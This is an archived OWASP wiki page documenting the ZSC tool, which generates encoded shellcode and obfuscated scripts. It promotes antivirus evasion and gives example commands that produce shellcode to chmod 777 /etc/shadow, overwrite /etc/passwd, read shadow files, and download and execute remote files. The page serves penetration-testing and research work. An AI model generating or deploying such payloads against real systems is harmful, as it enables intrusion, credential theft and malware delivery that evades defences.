This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
OWASP ZSC Tool Project
- Main
- FAQs
- Requirement / Installation
- Road Map and Getting Involved
- Minimum Viable Product
- Developers
- Project About
OWASP ZSC Tool ProjectWhat is OWASP ZSC ?OWASP ZSC is an open source software in python language which lets you generate customized shellcodes and convert scripts to an obfuscated script. This software can be run on Windows/Linux/OSX under python.
DescriptionUsage of shellcodesShellcodesare small codes in assembly which could be use as the payload in software exploiting. Other usages are in malwares, bypassing antiviruses, obfuscated codes and etc. Usage of Obfuscate CodesCan be use for bypassing antiviruses , code protections , same stuff etc … Why use OWASP ZSC ?According to other shellcode generators same as metasploit tools and etc, OWASP ZSC using new encodes and methods which antiviruses won't detect. OWASP ZSC encoderes are able to generate shellcodes with random encodes and that's lets you to get thousands new dynamic shellcodes with same job in just a second,that means you will not get a same code if you use random encodes with same commands, And that make OWASP ZSC one of the bests! otherwise it's gonna generate shellcodes for many operation systems in next versions. It’s the same story for code obfuscating. LicensingGNU GENERAL PUBLIC LICENSE , Version 3, 29 June 2007Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Click to see the full license
The OWASP Security Principles are licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one. |
Project LeadersLinksShellcode GeneratingWith using OWASP ZSC you would be able to generate any customized Shellcode in your mind including encodes,and Disassembly code in few seconds. Be an OWASP ZSC developerLast Tricks in Home
|
Quick DownloadNews and Events
DocsClassifications |
To see full guides please visit our wiki page.
Help Menu
PLEASE CLICK HERE TO SEE FULL DEVELOPERS AND USERS DOCUMENTS
OWASP ZSC Project
OWASP ZSC is an open source software in python language which lets you generate customized shellcodes and convert scripts to an obfuscated script. This software can be run on Windows/Linux/OSX under python.
Usage of shellcodes
Shellcodes are small codes in assembly which could be use as the payload in software exploiting. Other usages are in malwares, bypassing anti viruses, obfuscated codes and etc.
Usage of Obfuscate Codes
Can be use for bypassing antiviruses , code protections , same stuff etc …
Why use OWASP ZSC ?
According to other shellcode generators such as metasploit tools and etc, OWASP ZSC using new encodes and methods which antiviruses won't detect. OWASP ZSC encoders are able to generate shellcodes with random encodes that lets you to get thousands of new dynamic shellcodes with the same job in just a second, it means you will not get a same code if you use random encodes with same commands, and that makes OWASP ZSC one of the bests! otherwise it's going to generate shellcodes for other operation systems in the next versions. It’s the same story for the code obfuscation.
User Guides
To run OWASP ZSC, You need to install python `2.x|3.x` on your operation system `Windows|Linux|OSX`, Then it could be run directly with executing `zsc.py` or run the software after you installed it! To see the user manuals, Please follow the next steps!
Installation
Go to download page, and download the last version on Github. Extract and run installer.py, then you are able to run software with OWASP ZSC command `zsc` or you can directly execute zsc.py without installing it, or you can follow these commands to install the last version:
``` wget https://github.com/Ali-Razmjoo/OWASP-ZSC/archive/master.zip \ -O owasp-zsc.zip && unzip owasp-zsc.zip && rm -rf owasp-zsc.zip && mv OWASP-ZSC-master owasp-zsc && cd owasp-zsc && python installer.py ```
- Software could be uninstall with executing uninstaller.py
- Software installation directory is “/usr/share/owasp-zsc”
Generating Shellcode
Via `zsc` command , you are able to enter the software [or run python zsc.py if you don’t want install it], Then you can have list of menu with entering `help`. You can have your choices with pressing `tab` key on each step. To generate shellcode , you have to type `shellcode` and then press enter, after that, you can see what’s available in `shellcode` section. There is `generate` , `search` and `download` choices in here which use for `generate shellcodes` , `search` and `download` shellcode from shellstorm. To generate a shellcode, type `generate` and press enter, after that with a `tab` key, you can have list of operation systems available in there. With pressing `tab` key again, functions will be shown for you in this step [ such as `exec` ,`systm`,`write` and `etc`]. choose your function by writing the name `example: exec` and press inter. In the next section you have to fill the argv of function which exec() function have one `example: exec("/bin/bash")`, all you need in this section is pressing a `tab` and then `enter` key, software will automatically ask you for function argv. Fill them and next section software will ask you for shellcode type which can be `none` or choose one of listed encoding types. After entering that, your shellcode is ready! There is one more way to have a shellcode from software, which is using shellstorm API. Following the `shellcode`, and then `search` commands to search for a shellcode. After that shellcodes will be listed for you with title name , ID and etc. you can download them with following `shellcode` and then `download` command to download them with the ID which shown to you in the past section! For canceling each section, you can use `restart` command to restart the software and start new task!
Generating Obfuscate Code
With the following `obfuscate` command, you can begin the step for obfuscating a code. With a `tab` key , you can see the list of languages along with the obfuscating module ready. After choosing the language software will ask you for a filename which is a filename of file you want to obfuscate that! Next step software will ask you for encode type. With a `tab` key list the encode modules and choose your encode name. your file rewrited and converted to a obfuscate with encode type you chosen. And do not worry about your original code, it’s saved in file as a comment!
Please click HERE to read more!
Examples
>zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file >zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file >zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')" -o file >zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')" -o file >zsc -os linux_x86 -encode xor_random -job "chmod('/etc/shadow','777')" -o file.txt >zsc -os linux_x86 -encode xor_random -job "chmod('/etc/passwd','444')" -o file.txt >zsc -os linux_x86 -encode xor_0x41414141 -job "chmod('/etc/shadow','777')" -o file.txt >zsc -os linux_x86 -encode xor_0x45872f4d -job "chmod('/etc/passwd','444')" -o file.txt >zsc -os linux_x86 -encode add_random -job "chmod('/etc/passwd','444')" -o file.txt >zsc -os linux_x86 -encode add_0x41414141 -job "chmod('/etc/passwd','777')" -o file.txt >zsc -os linux_x86 -encode sub_random -job "chmod('/etc/passwd','777')" -o file.txt >zsc -os linux_x86 -encode sub_0x41414141 -job "chmod('/etc/passwd','444')" -o file.txt >zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello.txt','hello')" -o file.txt >zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello2.txt','hello[space]world[space]!')" -o file.txt >zsc -os linux_x86 -encode none -job "dir_create('/root/Desktop/mydirectory')" -o file.txt >zsc -os linux_x86 -encode none -job "download('http://www.z3r0d4y.com/exploit.type','myfile.type')" -o file.txt >zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','./myfile.type')" -o file.txt #multi command >zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','chmod[space]777[space]myfile.type;sh[space]myfile.type')" -o file.txt >zsc -os linux_x86 -encode none -job "script_executor('script.type','D:\\myfile.type','./script.type')" -o file.txt >zsc -os linux_x86 -encode none -job "script_executor('z3r0d4y.sh','/root/z3r0d4y.sh','sh[space]z3r0d4y.sh')" -o file.txt >zsc -os linux_x86 -encode none -job "script_executor('ali.py','/root/Desktop/0day.py','chmod[space]+x[space]ali.py;[space]python[space]ali.py')" -o file.txt >zsc -os linux_x86 -encode none -job "system('ls')" -o file.txt >zsc -os linux_x86 -encode none -job "system('ls[space]-la')" -o file.txt >zsc -os linux_x86 -encode none -job "system('ls[space]-la[space]/etc/shadow;chmod[space]777[space]/etc/shadow;ls[space]-la[space]/etc/shadow;cat[space]/etc/shadow;wget[space]file[space];chmod[space]777[space]file;./file')" -o file.txt >zsc -os linux_x86 -encode none -job "system('wget[space]file;sh[space]file')" -o file.txt >zsc -os linux_x86 -encode none -job "chmod('/etc/shadow','777')" -o file.txt >zsc -os linux_x86 -encode none -job "write('/etc/passwd','user:pass')" -o file.txt >zsc -os linux_x86 -encode none -job "exec('/bin/bash')" -o file.txt
Note: Don’t use space ‘ ’ in system() function, replace it with “[space]” , software will detect and replace “ ” for you in shellcode.
Note: script_executor(),download_execute(),download(),dir_create(),file_create() are using linux command line , not the function. [wget,mkdir,echo] system() function added in script, you can use it to do anything and generate any command line shellcode.
Note: exec() doesn’t support any ARGV same as exec(‘/bin/bash -c ls’) or exec(‘/bin/bash’,‘-c’,‘ls’), you have to wait for next version and this feature will available in system()
Note: you also can use high value for inc and dec time, like inc_100000, your shellcode may get too big
Note: each time you execute chmod()[or any other] function with random encode, you are gonna get random outputs and different shellcode.
Note: your xor value could be anything. “xor_0x41414141” and “xor_0x45872f4d” are examples.
Wizard Switch
With -wizard switch you are able to generate shellcode without long ARGVs, software will ask you for information.
Note: While you are using -wizard switch, if you push “Enter” without typing anything, the default value will be set on the varible.
Note: With entering “list”, List of values will be shown.
Installation Go to download page, and download last version in github. Extract and run installer.py, then you are able to run software with OWASP ZSC command or you can directly execute zsc.py without installing it.or you can follow these commands to install the last version:
wget https://github.com/Ali-Razmjoo/OWASP-ZSC/archive/master.zip -O owasp-zsc.zip && unzip owasp-zsc.zip && rm -rf owasp-zsc.zip && mv OWASP-ZSC-master owasp-zsc && cd owasp-zsc && python installer.py
Note: Software could be uninstall with executing uninstaller.py
Note: Software installation directory is "/usr/share/owasp-zsc"
Note: OWASP ZSC Tool could be execute on Linux and Python 2.7.x is required.
Roadmap
As of August, 2015, the highest priorities for the next one year are:
- Develop future features list , Add Operation Systems and new encode types
- Planing for activate features
- Build ZSC API
- Find developers to get better performance, quality, optimizing and best improvement in minimum possible time
- Get other people to review the ZSC Tool Project provide feedback
- Incorporate feedback into changes in the Tool Project and the features
- Keep test, developing and updating with best new methods
- Build and update documents in several languages for developers/users guiding
Subsequent Releases will add
- Internationalization Support
- Additional Unit Tests
- Automated Regression tests
OWASP ZSC could be improving with handling module features. MVP of this project is build and active the first module which could be usable to generate/encode Shellcode which already some of them [modules] activated.
Highest usage of OWASP ZSC Tool could be when users are able to use all features with best User Interface and API performance.
PROJECT INFO What does this OWASP project offer you? |
RELEASE(S) INFO What releases are available for this project? | |||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|